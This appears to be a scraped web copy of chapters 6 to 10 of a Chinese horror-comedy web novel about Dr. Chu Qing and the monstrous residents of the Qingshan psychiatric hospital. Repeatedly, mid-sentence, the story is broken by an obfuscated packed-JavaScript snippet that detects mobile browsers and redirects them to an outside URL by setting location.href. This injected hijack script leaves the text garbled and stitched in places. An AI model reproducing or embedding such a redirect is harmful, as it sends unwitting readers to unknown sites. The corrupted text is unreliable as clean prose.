楚青注意到他因剧烈动作晃出来的脑浆,再看看手中热腾腾的牛奶,不知怎的就联系在了一起。 那杯牛奶到底是被搁置在了桌子上,他一点没碰。 只有院长悠哉悠哉的关了房门,交代着让他早些休息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“咕咚”两口下了肚后,沐枯舒服的闭上了眼睛,觉得牛奶是真好喝啊,凉丝丝的,甜腻腻的,但却怎么也喝不腻。 还没等它再吸上两口,猛然传来一股眩晕感,叫他没在杯口站稳,一下子栽倒在了牛奶杯中。 “咕嘟咕嘟——” 随着他整个身躯被牛奶慢慢淹没,沐枯感受到了前所未有的欢愉,好像一辈子都沉溺其中,再也不要出去。 它记不清自己究竟喝了多少,但眩晕感好像更重了些,现在就算它想试图专注看向杯壁外的事物时,重影不断,导致它什么也看不清。 这种类似喝醉酒的状态让沐枯深感麻木,讲真,它活了这么长时间,从一次知道自己喝牛奶会醉。 不行,它要争气,它要爬出去,它不能……让妈妈看它的笑话…… “咕噜咕噜——” 7. 第 7 章 一夜好眠,楚青并没有所谓的起床气,但却是实打实的懒床,毕竟没有一个打工人社畜能在闹钟的嗡鸣声中,准时准点,不带一丝困意的从床上爬起。 所幸早早醒来打算前往浇花的院长并没有将他从床上喊叫起来,他迈着小碎步出门时,连关门的动作都是小心翼翼的,好像床上躺着的是个洪水猛兽似的。 在关上门后,他还很开心的摆了个“耶”的手势,但脑浆可不会如他意愿那样老老实实在头盖骨里停留着,只是大一点幅度的动作,又有一些脑浆被晃了出来。 溅射在地面上时,就像被用破壁机打磨成碎屑的豆腐渣,还是加料版本的那种。 远远的,穿着显眼保洁外套的阿姨将袖子猛地撸上去,手腕上露出狰狞可怖的伤口来,因为在拖地过程中被水浸湿的缘由,手腕与胳膊处的缝合部分被泡大了一圈,针线就像被捆绑勒进血肉伤口里似的,瞧着很是骇人。 但这都不耽误她扬起手里刚冲干净的拖把赶人:“去去去,滚一边儿去,那是老娘刚拖过的地……” 紧接着,门外又响起了涮拖把的声音,但因为脏乱面积比较小,再加上保洁阿姨动作麻利,没一会儿门外就恢复了平静。 楚青对于这样的宁静氛围很受用,就在他想翻身一头扎进柔软枕头中再次沉睡过去时,耳边多了几串咕噜声。 声音并不算响亮,但在本就安静的房间内倒是显得格外突兀。 楚青本不想当回事儿,于是他又将被褥罩在了头上。 但架不住呼噜声追着他杀。 “咕噜咕噜……” “咕噜噜噜……” 声音比刚开始相比响亮了不少,活像是在跑火车。 楚青盖着被子很想当没听见,但聒噪声确实吵得他不得安睡,等楚青的头脑意识逐渐恢复清明后,他总算意识到了一个问题,那就是——呼噜声究竟是谁发出来的。 卧室里除了他好像再没别人,正想着他提起精神探头往床底下看了一眼,也没有。 周围的一切都很平常,唯一异常的是院长昨天端给他的牛奶不断咕噜往上冒出气泡来。 牛奶起码比原先少了三分之一,现在杯子底部也不知多出什么东西来。 这个疑惑自从楚青拿着杯子去洗手池那里将里面的牛奶倒干净,露出最里面还在呼呼大睡的眼球后,便迎刃而解了。 沐枯也不知是怎么搞的,被楚青拿在手里,又是冲洗又是摆弄的,愣是一点睡醒的意思都没有。 职业习惯让楚青主动担任起了“救死扶伤”的重任,在用手指将眼球的眼皮掀开,看见内里乾坤后,楚青发现眼球血液流速加快,血管扩张,瞳孔扩张,皮肤红热,就连眼白上都尽数布满了血丝,差点没将起渲染变成红瞳。 这一系列症状检查下来,但凡是个明眼人都能看出这是轻微过敏的症状来。 这让楚青想起了自己刚倒掉的那杯牛奶,一个不可思议的念头涌现出来,眼球喝牛奶居然……会醉吗? * 最近又开始下雨了,经根据天气预报显示在未来的二十四小时里会小雨转中雨,一撩窗帘,外面总是雾蒙蒙的,楚青买的猫窝还没到,他便将眼球放置在了枕头上。 是他刚从柜子里翻出来的,好久没用过,还是崭新的。 不消片刻,雨点便噼里啪啦的砸在窗户玻璃上,又汇聚成水珠从上面滑落下来。 手机突然叮咚一声,是短信提示音响起时的声音。 楚青点开手机一看,是他预约上门的玻璃安装工人发来的短信。 「不好意识,现在正值雨季,不太方便,等什么时候天晴再说吧。」 楚青本想回一个好字,但很快对面的又一条回复紧跟其后。 「**城区青山精神病院,你确定这是你所在的地址吗?」 楚青打字回道:「是,需要跟你发个定位证明一下吗?」 对面沉默了好久,楚青看着聊天页面上方一直显示的“对方正在输入中”的字样,一时半会儿也没着急退出。 不知是受了良心的谴责,还是故意抹黑,过了好半天对面终于发过来一句完整的话:「大兄弟啊,你们那里闹@#%你知不知道?」 「我是听我认识的同行说的,据说有一次他在半夜十一点路过青山精神病院门前那条道路时,还亲眼在院内目睹一个#@%&*??老头在玩耍,老%?#&@#@%??#&**!」 「@#?%?###**7&&&(#@1@#……)#2@3」 ………… 前几句楚青多少还能看懂一点,到了后面就全变成乱码了,楚青看得是一个头两个大。 在声繁并茂地讲完自己的所有遭遇后,安装工人终于止住了话头:「大兄弟,知道了吗?所以劝你多少注意一点,能趁早搬出去就搬出去吧。」 楚青往上划拉了下,还是满满当当的乱码。 楚青:“……” 明人不说暗话,我觉得你也有病。 安装工人看着页面主动回味起来,觉得国家安全局欠他一个活雷锋奖,他目光在第一条消息中“闹诡异”那三个字上停留许久,深深的叹了口气,从口袋里摸出根烟,点完火后噙在嘴边缓慢的吸着。 一旁客厅里,电视机里还放着诡异检查机构的局长接受采访时的深夜新闻直播回放。 背景是诡异检查机构(APIU)的徽章——一只被锁链缠绕的眼睛。而类似的实体徽章同样佩戴在局长莫远山的胸前,他穿着黑色制服,左眼戴着一枚银色的单片眼镜,镜片在灯光照射下闪着雪白光泽。 主持人手拿话筒,面带微笑:“莫局长,感谢您今晚抽空接受我们的采访。最近市民们对‘异常现象’的讨论度越来越多,能否请您对此作出回应与解释呢?” 莫远山答非所问道:“你知道我们APIU的徽章为什么是一只被锁链束缚着的眼睛吗?因为有些认知本身就是危险的。” “但不管怎样,作为APIU中的一员,我们组织建立的初衷就是负责监控,收入和研究一切违 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沙发上,修理工人听不下去,摁下遥控器的开关,关掉了电视:“不过就是骗骗人,装装样子罢了,上次有关青山精神病院的异常反馈到热线后,不还是以没造成任何生命危险跟伤害为由,被一口回绝。” 他再次摸出手机后,才发现在十分钟之前,楚青发来的两条信息。 一条是有关青山精神病院的详细住址跟位置共享信息,另外一条是楚青的自我名片。 在他正纳闷时,楚青又紧跟着发来第三条信息: 「不知道你是否存在精神疾病或者是受外界物质或药物影响等造成的幻觉,但从现在开始,我希望您能正视起自己的病症来,这并不可怕,可怕的是,您现在还依旧被蒙在鼓里。」 修理工人:“???” 坏了,他好像遇到真的精神病了。 不多时,正在APIU当值的联络员接到了一个热线通话。 “喂,是APIU吗?我举报网上有人精神不正常,感觉像是伪装成常人的潜在诡异,希望你们能调查一下……” 8. 第 8 章 在雨天里,听着雨打窗户玻璃发出的啪嗒声,尤其在晚上入睡的时候,别提有多助眠了,但这次的雨天,难得的热闹。 清洁工阿姨很不喜欢在雨天里打扫卫生,因为湿漉漉的地板很难在短时间内被吹干,如果在此刻有一两个冒冒失失的人无意路过,那将是新一轮的折磨。 她拿着拖把一遍遍的放入用来清洗污浊的红桶中,眼睛从边缘处往瞳孔中央一点点渗出血丝来,那些血丝就像有生命似的,不断涌现交织纵横在一起,最终完全占据高位,将眼球填充完全。 那双眼睛死死的盯着还未干涸的地面,手臂处冒出青筋来,差点没将手腕处的缝合针线完全崩断,彼时两只手掌将会飞离出去,在路过之人稍不留神的时刻,啪唧扇其一脸。 如果有必要的话,清洁工阿姨很乐意这样做,但拆缝针线可谓是一个麻烦活,脑内互搏一番后,最终还是握住拖把忍住了。 在静下心来时,室外走廊里的喧嚣声就显得格外聒噪。 这个清早就好像故意跟他作对似的,无论如何是睡不下去了。 * 生活区,餐厅里,除院长以外,每个人都在为室内突然降临的血雨狂欢着。 同一时间,医院内的墙壁上多了几道血手印,像是被人沾血新印上去似的,用手指抹去时,指尖上还有新鲜的血液残留。 “是二楼204那位的孩子又哭闹了吗?” “错不了,错不了,”熊孩子王杰主动伸出舌头来,将落在舌尖上的血珠卷入口中:“只要他一哭,这里总会下雨。” “我倒希望他多哭一会儿,这样我就能多喝一些葡萄酒进胃里……” 他咂摸片刻,突然对着刚从房间里出来的楚青露出一抹怪笑来,唇角弧度勾得相当标准,四十五度,一点不差。 “青青,你出来了?” 他欢快了两秒不到,就急不可耐的朝楚青的身后看去,空荡荡的,什么也没有。 再将视线移至楚青身上,一番仔细观察,没发现有关王的任何踪迹后,他终于长舒一口气来,接上话茬道:“青青,你要来一点吗?可好喝了。” 他说着,就要从厨房里拿出碗来。 还是一位身着长裙,画着浓妆,慈眉善目的漂亮女人将他一把从墙壁上薅下来,就像拔草似的,拽紧头发,啪嗒摁向了地面,差点没在地板砖上摔出一个凹陷出来。 王杰在被其拽下去时脱口而出的那一声“妈”终究还是没能唤回母爱,他只能咔哒咔哒的将膝盖弯曲折叠过来,扭曲成一百八十度,从背后伸长胳膊企图将他妈攥紧他头发的手指掰开。 “不要在楚医生面前说出任何不敬之词。” “我知道了,听话的,我会乖乖听话的……” 漂亮阿姨充耳不闻,她面对楚青时,脸上的笑意明艳,就好像楚青才是她的亲生宝贝儿子似的:“楚医生,怪我管教不严,让这孩子一而再,再而三的冒犯您。” 楚青摆手,并指着自己的头发道:“王阿姨,你的头发……” 如果说王燕这辈子有什么真正在乎的东西的话,那她的外貌形象绝对是占据高位,无可撼动的存在。 一涉及自己的外貌问题,她就连忙将自己孩子像不要钱似的甩在一边,从背包里拿出一面巴掌大小的镜子来,这面镜子可陪伴了她好久,一直随身携带,从未被其冷落过。 而同样的镜子在她的房间还有一个,那是一面更大的圆形镜子,就在她的梳妆台上放着,能照出其整个头颅来,王燕总喜欢对着这面镜子梳头,好像怎么也梳不完似的。 如果恰巧在她梳头时有人路过她身边,那么无论这人有多忙,都将会被她叫进屋里,她会亲自将头从脖子上摘下来,眼睛跟嘴唇勾出一样弧度微笑的面对着你,问你她到底长得漂不漂亮。 当然没人敢说不漂亮,因为比话更提前出手的是她的下半身,在开口即将说出半个字时,喉咙将不再发出任何声音来,因为它早就被搅和进来的手指给完全捅穿。 而当事人还能笑盈盈的拿出纸巾将沾染在上面的鲜血一点点擦干净,并接着向你提问重复的话来。 “我到底漂不漂亮?” 她永远从容优雅,就像一个标准美丽的人偶,好像任何不好的情绪压根不会在这张完美的脸上有任何呈现似的。 但在看到镜子中自己的一瞬间,她的脸扭曲成了麻花状,只因镜子中的那个她头发高高竖立起来,根根分明,宛如一根根避雷针似的。 而这件事在她从房间里出来时,从未有人提醒过她。 况且为了不被血雨淋上,她还贴心的避开了血雨会出现的范围并为自己准备了一把很衬她气质的红色雨伞,而现在,这股意境被毁了个干净。 为什么只要204房间里的婴孩一哭,餐厅就会下雨呢,因为他饿了。 他也只会在感到饿的时候会哭,如果是她自己的孩子可能会面临被她一手掐死的风险,但别人的孩子同样不能幸免于难。 现在她再也顾不得淑女形象,因为她很快发现自己竖起来的头发跟哭声有关,因为在哭声暂时消失或者降下来时,她的头发也会相应的软一些下来,但当哭声再度响起时,头发就像接受到雷达感应似的,再次竖立起来。 她越想越郁闷,在王杰趴在地面上,艰难的转头看她喊妈时,这种烦躁的情绪到达了高潮,让她差点没将204房间的门给踹没。 “别叫我妈,我不是你妈,要不是你这鳖犊子出生时喜欢淋雨,老娘也不至于抱着你站在雨中被雷劈中,劈了个外焦里嫩,自个儿爬到一边好好反省去。” 房门被关上后,没人知道屋内究竟发生了什么,但值得一提的是,室内不再下起血雨来,清洁工挥舞着拖把,像个真正的战士似的,三米之外不得有生人勿入。 在即将消失之前,墙上的血手印一齐朝楚青所在的位置迅速移来,拍拍手后就消失不见了。 楚青主动搭了把手,但最终还是被清洁工夺回拖把赶进了办公室:“楚医生,这里有我,您只需要完全您的工作就好。” * 楚青坐在办公室里的第一件事就是转笔。 没人会坐在办公椅子上,面对成堆的工作开心,除非它是一本期待见到主人的病历本。 最为兴奋的要数扉页的眼球,它在察觉到楚青到来时,就一刻不停的眨巴着眼皮,就像一个无情的眨眼机器,无比期待着主人的宠幸。 但它的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我在这里等待许久,始终不见您的到来,现在您又变成了这般模样,等级下滑好大一截,您在消失的这些天里,是遇到了什么危险吗?” 眼球的眼皮始终紧闭着,显然是不愿意跟他多说一句话。 院长只得换个法子:“还是这样吧,我来伺候您洗澡吧。” 沐枯不乐意了:“我闻起来很臭吗?” “当然没有,”院长道,“但如果您洗干净一些,没准楚医生会更加喜欢您。” 沐枯这才高兴起来:“那妈妈喜欢香喷喷的我吗?” “这自然的喜欢的。”院长胸有成竹。 “那就好,”沐枯指向一旁的标注着“清洁剂”的大瓶,发号施令道:“那记得给我多喷点那个,我要让妈妈多喜欢我一点。” 但他还醉着,在一阵晕头转向中成功指错了方向,导致院长顺着他视神经指着的方向看去时,忘不了看到“洁厕灵”时,那一瞬间的救赎感。 最让他感到麻木跟不可思议的是,自家的王上眼神清明异常,完全看不出有任何醉酒的嫌疑,还略显不耐的催促他。 “你是蜗牛吗?还不赶快给我喷上。” 院长更加沉默了,他想,王的思维模式果然不是一般诡异能比拟的。 9. 第 9 章 又是稀松平常的一天,唯一不平常的是楚青所躺的床铺多了点别的东西在上面——眼球。 也不知经过一天的时间来休息,它有没有好受一些。 楚青正想着,前进的步子便加快了些。 哪知他刚踏上一层台阶,蹲守在楼梯拐角处的王杰就迫不及待的伸长脖子探过来:“青青?” 结尾处的尾音后面紧跟着哈欠声,听着像是刚睡醒不久,拖的调子长长的:“院长让我在这里堵……” 他话还没说完,就被背后贴过来的院长一手堵住了嘴巴:“经好多病友一致反馈,我打算今晚在活动室举办‘睡不着座谈会’,楚医生,你是其中不可或缺的一员。” 楚青并没作答,他将手机从口袋里拿出来,点进他们这所精神病院所建立的病友聊天群里,观看起了最新消息。 因为精神病院里的所有人都在这个群聊里,所以不管是大小事务都会第一时间在群里发出公告并通知艾特所有人,而现在最新消息显示的还是两小时前,王杰这个熊孩子的自拍照。 他用水笔在自己身后被灯照射出的影子里画了一张人脸,并配字说是他最好的朋友。 再往上翻去,是清洁工阿姨控诉走廊台阶上掉落的连带着头发的沾血头皮,头皮大概有指甲盖般大小,就像是被人生生拽下来似的。 最多的消息,就是有关两位年纪相仿,又都喜爱打扮的漂亮阿姨互相栽赃嫁祸的扯头花场景。 要说她们互相撕逼的开始,还是充满戏剧性的,就因争论到底谁才是整栋精神病院最漂亮的女人而开始互看不顺眼。 就连居住在她们卧室房间附近,喜欢宅在室内煲汤的刀疤脸叔叔都没能幸免于难。 俩人吵着吵着就踹开了他家的房门,并一人站至一侧喋喋不休的询问着,导致一向温顺有礼的刀疤脸头一次跑去厨房拿出菜刀里横在两人中间,说出但凡聒噪多说一句,刀就会砍向谁都脑门的话。 但这并没有浇灭俩人的斗志,还将话题由谁美转变成了谁能最先被刀疤脸青睐砍上去,谁就是胜利者。 楚青至今还记得一向讨厌被注射镇定剂的刀疤脸用仅剩的眼睛,可怜兮兮的看他,另外一只空洞眼眶里不断渗出黑血的场景。 那只空缺眼球的眼眶是在刀疤脸躁郁症发作那段时间里,硬生生拿刀往自己眼睛里剜去,生生把自己作成独眼龙的。 那段时间里,只要刀疤脸在楚青面前展现出一丝暴怒情绪,将会喜提注射镇定剂,ECT(电休克疗法)一条龙,治疗期越靠后,他对于镇定剂针头的恐惧感越是往上呈现指数式攀升。 现在哪怕有好长一段时间不再接受相关治疗了,因为镇定剂的存在,导致他对于所有的针头产生了严重的心理阴影。 但那时,为了让自己的心情平复下来,他主动找到楚青给他注射镇定剂,就可想而知那两位疯女人的战斗力是有多彪悍了。 不过她们吵的聊天记录过多,约莫加起来能有七八个九九加了,导致楚青翻了三四页后,便看得双眼发昏,他按着太阳穴,再也没了想要吃瓜的打算。 现在最令他关心的问题是,群里并没有发出相应的有关安排今晚是“失眠互助会”的任何信息来。 楚青看着院长焦急的脸色,明白这不过只是某人的临时起意,就连被捂嘴的王杰也是一脸震撼,他趁着院长还在绞尽脑汁的构思着理由时的那股松懈劲儿,一口咬上院长的手指。 他很快在口腔里感受到了铁锈味,笑得无辜又肆意:“院长爷爷,你难道想独自一人占领青青的休息时间吗?你不够厚道呢~” 但很快,他被院长手上一股呛人气味熏得眼泪直流,将流进他口腔里的血液立马吐了出来。 而且他注意到院长本来白皙手指上有了坑坑洼洼的痕迹,像是轻微的灼伤造成的。 他呸呸了两声道:“你身上怎么有股……” 又是话说到一半就被紧急堵住了嘴。 讲真,他差点就要被院长身上的刺鼻气味给熏死了。 而这种气味在院长的手上体现的最为明显,也不知是用什么做了掩盖,不凑近去闻压根就感受不到。 院长只有苦笑作以回应。 他用余光瞟向卧室房门,心里感慨自己在给王洗澡时不该一时糊涂,现在好了,王的形象不仅差点被毁容,现在他还要时刻忍受王的怒火。 但殊不知,在王杰的话音刚落,卧室门就悄悄被开了一条缝隙,沐枯从里面偷溜出来,完全与夜色融为一体。 但现在它可没脸见人,因为它被“烫”的眼皮松弛,险些皮肤就要粘连在一起,差点眼睛就要睁不开了。 沐枯想,现在它丑丑的,还是不要吓到妈妈了。 院长还在努力找补:“今晚就当放松一下,就当我临时安排的。” 说话时,他脸上的假笑差点没绷住。 楚青虽然站在低位,但单论气场,他就像一个居高临下的审视者,只要一对上视线,院长就忍不住结巴,最后他还是趁着楚青没注意,狠掐了一把自己的大腿后,才勉强有了能跟楚青对上视线的勇气。 但院长不太擅长撒谎,这次还是被逼无奈头一遭,头颅里的脑浆差点没被他自己晃成浆糊。 “今晚的月亮真大,真圆啊……” “是吗?”楚青步步紧绷道:“院长是没看天气预报吧,今晚显示会接着下一夜的小雨。” 院长挠头:“下雨?那便更好了,很适合开场‘失眠互助会’。” 楚青的目光带着审视:“你确定你今晚没被着我干坏事?” 院长连忙摇头:“哪敢啊?什么坏事能瞒得过楚医生您的火眼金睛?” 楚青:“来,跟着我念,如果你敢瞒着我做坏事,那就会亲自卸了我的工作。” 院长跟着念了,他想,他只是忙着王隐瞒,又没干坏事,所以该条件并不成立。 再说身为诡异就没几个长得不歪瓜裂枣的,也不知王到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621985|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何如此在意自己的形象,凶残跟血腥方可让人类退避三舍。 但凡事也有例外,就比如他们的楚医生,不管在内还是在外永远都是一副翩翩君子的形象,也怪不得能成为他们整个精神病院的美貌一枝花。 楚青见他念的实在迅速,但打消了一半疑惑,主动道:“我从地窖里拿出一瓶珍藏的酒来,你先发布通知让他们赶紧安排布置场合。” 他看了一眼手机上的时间:“现在才不过八点半,还来得及。” 院长这颗悬着的心才终于落下:“好,交给我楚医生您就放心吧。” * 楚青是等院长他们走远后,才主动从拐角黑暗处现的身。 直觉告诉他,院长肯定向他隐瞒的有事,通过楚青刚刚对他眼神落向作出的观察,现在最能得知真相的地方就是他被新安排的卧室。 他想,总不能是这个卧室的窗户玻璃又碎了,或是床榻又不小心被打湿的不能睡了吧。 除此之外,楚青实在想不到还能有别的什么理由能让院长如此惊慌。 在他开灯前,沐枯及时缩紧了门缝中,偷偷隔着门缝观察他。 灯开后,便是目之所及的放大版美貌,沐枯缓缓将落在楚青身上的目光一寸寸的从上往下移动着,瞳孔微张,看得眼皮不眨一下。 现在它都有点嫉妒能落在楚青身上的微光了,如果……如果自己也能这般跟妈妈来个亲密接触就好了。 它愤恨的想着,坏……坏灯泡。 出乎楚青的意料,房间里格外整齐干净,窗户关得严严实实的,并没有丝毫雨丝飘进来,就连他的被褥,还保持着早上离开时的模样,一点被拆散的痕迹也没有。 唯一不同的一点是,本该在他枕头上呼呼大睡的眼球无影无踪。 小孩子玩性比较大,这点楚青还是理解的,只是院长的态度……他总觉得自己肯定还忽略了什么事。 但很快,当楚青打开洗澡间上锁的房门后,思绪才豁然开朗起来,因为他闻到了浓重的独属于“洁厕灵”的味道。 镜子里还冒着热气的水雾证明刚刚有人在这里洗过澡,楚青用一只手捂住鼻子,在地上找到了被用一半的洁厕灵,连拆封开的口子还是崭新的。 但真正放置洗漱用品的地方,滴水不沾,没有分毫被动过的痕迹。 结合这两点,楚青总算想通院长想尽力隐瞒的秘密是什么,他有些好笑的勾起嘴角道:“不就是喜欢用洁厕灵充当沐浴露洗澡嘛,这没什么。” 楚青在人前永远都是一副清冷模样,很少有人见他展露笑颜过,不苟言笑久了,便有了拒人于千里之外的气场。 但这种容貌姣好的人一旦笑起来,所带来的震撼无异于太阳东落西升。 “啪唧——” 沐枯醉于这抹笑意里,一时竟忘了自己还吸附在门框上,就这么直挺挺的松开,跟个石雕似的掉在地上。 楚青注意到了这轻微的动静:“谁?” 10. 第 10 章 紧随其后的是敲门声,院长出现的及时,他站的位置刚好能将眼球全部挡在阴影里,叫人看不出丝毫破绽来。 “是我,楚医生,已经准备妥当了,刘小姐让我前来催促你尽快过去。” 楚青将洁厕灵放回原位:“好。” 在亲眼看到楚青从房间里走出来后,院长才换着方向将沐枯挡在身后,面上还是过于标准化的微笑。 还好他来得及时,院长在心里不住叹气道,及时挽救了王上的薄面。 早在他发布完任务,刚刚从地窖摸了一圈,没找到楚青的相关踪迹后,就在心里暗道大事不妙。 但好在,好在他赶上了。 在确认楚青没有发现自家王上的行踪后,院长暗自松了口气,就是这口气还没完全松完,楚青安抚性质的手掌已经落在他的肩膀上了。 院长被碰得脑浆一晃,差点没给他当场来个脑袋滚落:“楚医生……” 楚青目不斜视道:“有点特殊癖好很正常,这并不丢人。” 院长一头雾水,脑浆晃个不停:“啊?!!” 他立马联想到了自身还没被完全的治愈的疾病,泪眼婆娑道:“楚医生,你跟我说实话,我是又病情加重了吗?” 他眼泪飙得其多,大有一副你要是不跟我说实话,我就当场哭死在你面前的架势。 被他这么神神叨叨的一搅和,楚青也开始正视起一些实质性的问题来。 “你要知道洁厕灵还是具有不小的腐蚀性的,你那里……” 楚青斟酌字句道:“不知道还举不举得起来。” 但隔着布料,楚青也不太好下定论,而一旁刚好又是卧室。 “你进去卧室,把裤子脱了,撅着屁股趴在床上,让我看看状况如何,会不会影响正常功能。” 院长本来脑子还懵着,在楚青提到“洁厕灵”后,一下子清醒过来,他立马意识到楚青口中“举不举”的东西是什么。 他本来不羞愤的,但架不住楚青的眼神一直盯着他那个位置,又他又不能在王的注视下说出实情。 在被王喷火的眼神刺了大概十几秒后,院长最终选择了低头做人……诡异,这头一低,就是一辈子。 他咬紧牙关,差点没把自己的牙龈咬碎咽进肚子里。 “我很好,楚医生不必担心。” 见他态度坚决,楚青也没有强人所难的想法,便将自己探究的念头压了下去:“如果哪天出现了问题,记得及时找我说,我这里还有不少壮*阳的药物呢,保管一晚上神采奕奕,坚定不移的站着岗。” 院长:“……” 他现在就想知道一件事,如果他向王索要精神损失费的话,那能不能成功捞回一笔? 他们这群等级高的诡异若不是被楚青困在精神病院之内,要不然早就在人类世界横着走了。 他们受制于病历本,但病历本只忠心于楚青,这就像一个死循环,只要楚青一天没有想要离开这里的念头,他们也会跟着困在这方寸之地里,无法逃离。 院长想,他对人类不敢兴趣,他只热衷于赚钱,现在他只能天天吃老本,他都快不记得当初在人类世界赚到第一桶金的喜悦了。 * 病历本虽然大多时候都在认真遵照楚青话中的意思认真记录,但有时为了保护楚青的生命安全,它也会主动出手去惩治一些人类跟诡异。 作为一个S级诡异,它自楚青的意识中诞生,又在某一瞬间独立脱离于楚青的意识,成为一个独立的个体,但这都不影响它依旧会以楚青为尊。 它慢悠悠的合上扉页的眼皮,得意的想着,它无法用任何常规的方法破坏并杀死,记录在它上面的每一页病例上的人名都将受它的文字与规则牵绊。 这些文字无法被涂改抹去,页面也无法被撕毁,哪怕做这件事的是诡异。 扉页上的眼球愉悦的想,它从未给自己页面上记录着的人名制定过任何不可逾越的规则,名字出现则意味着契约达成,硬要说规则的话,它也不过是按照自己主人说出口的话当作命令,严格执行罢了。 在它扉页右上角,有一行楚青亲自写下的小字,那是“青山精神病院”的全称,这也就意味着在它里面记录的每个人名都会被困于这里。 如果没被刻上病例编号那还有逃跑出去的机会,但一旦被赋予上编号,就像一条无形的锁链似的,将其锁在了青山精神病院里,这条规则同样适用于楚青自己。 但与其他诡异不同的是,只要楚青想,那么他随时都能开门走出去。 扉页的,有关楚青自己的病例记录并不是病历本记录下的,那是楚青自己写下的——哪怕他现在什么都不记得了。 * 活动室并没有开灯,为了营造氛围感,院长特地命人点了一圈蜡烛。 在被院长赋予找到蜡烛到任务后,两个诡异面面相觑。 他们一个额头被洞穿了个大洞,有无数粉嫩线虫在里面蠕动爬行着,让人分不清真正操控这具身体的主人究竟是人死后所残存下来的意识,还是吃干脑髓,占据填满整个大脑的线虫。 甚至只要他张开嘴来,就能看到口腔四周围满了细长的虫子,还有一个个如饱满米粒般塞满牙齿的晶莹颗粒,细看就能发现那里面仿佛有什么东西在不停蠕动着,眼看就要冲破薄膜,获得新生。 同样拥挤的地方还有眼球,鼻腔…… 这具身体俨然已经成了供它们所寄生繁衍的巢穴。 另一个走路一瘸一拐的,就连身高也比其他人矮了一截。 这不能全怨他,因为他的脚踝完全断裂,走路时只能将断折的部分拖拽在身后,他很想用剪刀或斧头将碍事的东西整个砍掉,但却并没有赢得清洁工阿姨的同意。 因为将脚砍掉意味着以后他要从断裂处撑起全身走路,清洁工很关心他伸出来的断裂骨头将地板划破的问题。 而这一点,他敢怒不敢言。 因为他根本招架不住清洁工阿姨上班时,滔天的怨气。 这怨气对于他而言就像硫酸似的,一旦被其沾上,就连骨头都能被腐蚀干净。 现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621986|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在高个的拍了矮个的肩膀,矮个想也不想,立马伸手将他拍开了:“不要乱摸别人的肩膀,会长不高的。” 话音中的认真搞得高个想对着矮个的膝盖骨直接来上一脚,让他体验一把什么叫真正的不高。 高个忍了忍,默默将手放到了矮个的脊背,同样还是被拍飞了回去。 矮个语气抱怨:“脊背也不能乱摸,也会连累别人长不高的。” 高个:“……” 他看了眼矮个断折的双脚,又看了看自己还完好的,能自由活动的脚,什么气也没了。 他想,凶什么凶,不就是嫉妒我有脚,你没脚吗? 但在打闹过去后,他们开始双双纠结院长所要的氛围感。 什么氛围感要用蜡烛来点缀呢?又不是在吃烛光晚餐。 矮个沉思几秒后,终于有了灵感:“怎么就没有呢?不就是坟围感吗?来个白色花圈刚刚好,人类不就是这么来纪念故人,营造氛围的吗?” 高个想想也是,于是俩大聪明就一拍即合了。 * 楚青刚来到活动室时,就见众人盘腿坐成一圈,四周围满蜡烛,中间摆放着大大的白色花圈,里面一个大大的“奠”字。 在听见楚青到来的脚步声后,数十个诡异,不同程度的血腥,但都大差不差的惨白着一张脸面对他时,他差点以为进了自己的灵堂。 更绝的是,也不知是不是统一口径安排的黑色睡衣,导致乍一看,那些个脸就像悬浮在半空中似的。 见到楚青愣怔了下,王燕立马开口指着他们中央围着的花圈,训斥道:“我就说这儿玩意儿败坏气氛吧,你看看,就连一向脾气温和的楚医生都没开口说出一个好字。” 她说完便拿起梳子,梳起自己的头发来:“我要冷静,真是的,气得老娘的头发都打结了。” 为了梳得过瘾,她干脆将脑袋从脖子上摘下来,梳子梳过去时,发丝像活物一样蠕动。 最终还是姗姗来迟的院长连开两瓶啤酒来活跃气氛:“来个人,将花圈拿一边去,我储存的有不少吃的,酒自然也少不了,大家吃好喝好。” 他的话音一落,场上气氛瞬间达到了高潮。 楚青没打算喝酒,他本想喝两杯水就顺势离开的,但架不住院长就逮住他一人敬酒。 院长的目的很纯粹,将他灌醉了,就不再会关注自家王上的事情了。 